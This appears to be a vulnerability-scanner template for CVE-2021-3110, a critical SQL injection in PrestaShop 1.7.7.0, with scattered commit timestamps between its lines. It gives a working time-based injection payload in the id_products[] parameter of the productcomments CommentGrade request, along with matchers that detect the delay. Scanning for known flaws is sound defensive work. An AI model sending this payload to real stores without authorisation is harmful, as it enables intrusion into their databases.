2021-02-18 05:13:09 +00:00
id : CVE-2021-3110
2021-02-17 20:27:08 +00:00
2022-11-28 16:53:16 +00:00
info :
name : PrestaShop 1.7.7.0 SQL Injection
author : Jaimin Gondaliya
severity : critical
description : |
The store system in PrestaShop 1.7.7.0 allows time-based boolean SQL injection via the module=productcomments controller=CommentGrade id_products[] parameter.
reference :
- https://nvd.nist.gov/vuln/detail/CVE-2021-3110
- https://medium.com/@gondaliyajaimin797/cve-2021-3110-75a24943ca5e
- https://www.exploit-db.com/exploits/49410
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 9.8
cve-id : CVE-2021-3110
cwe-id : CWE-89
metadata :
verified : "true"
tags : cve,cve2021,sqli,prestshop,edb
2021-02-17 20:27:08 +00:00
requests :
2022-11-28 16:11:48 +00:00
- raw :
- |
@timeout : 20s
GET /index.php?fc=module&module=productcomments&controller=CommentGrade&id_products[]=1%20AND%20(SELECT%203875%20FROM%20(SELECT(SLEEP(6)))xoOt) HTTP/1.1
Host : {{Hostname}}
2022-11-09 05:58:01 +00:00
2021-02-17 20:27:08 +00:00
matchers :
2022-11-09 05:58:01 +00:00
- type : dsl
dsl :
2022-11-09 06:00:08 +00:00
- 'duration>=6'
- 'status_code == 200'
2022-11-09 06:03:04 +00:00
- 'contains(content_type, "application/json")'
2022-11-09 06:00:08 +00:00
- 'contains(body, "average_grade")'
condition : and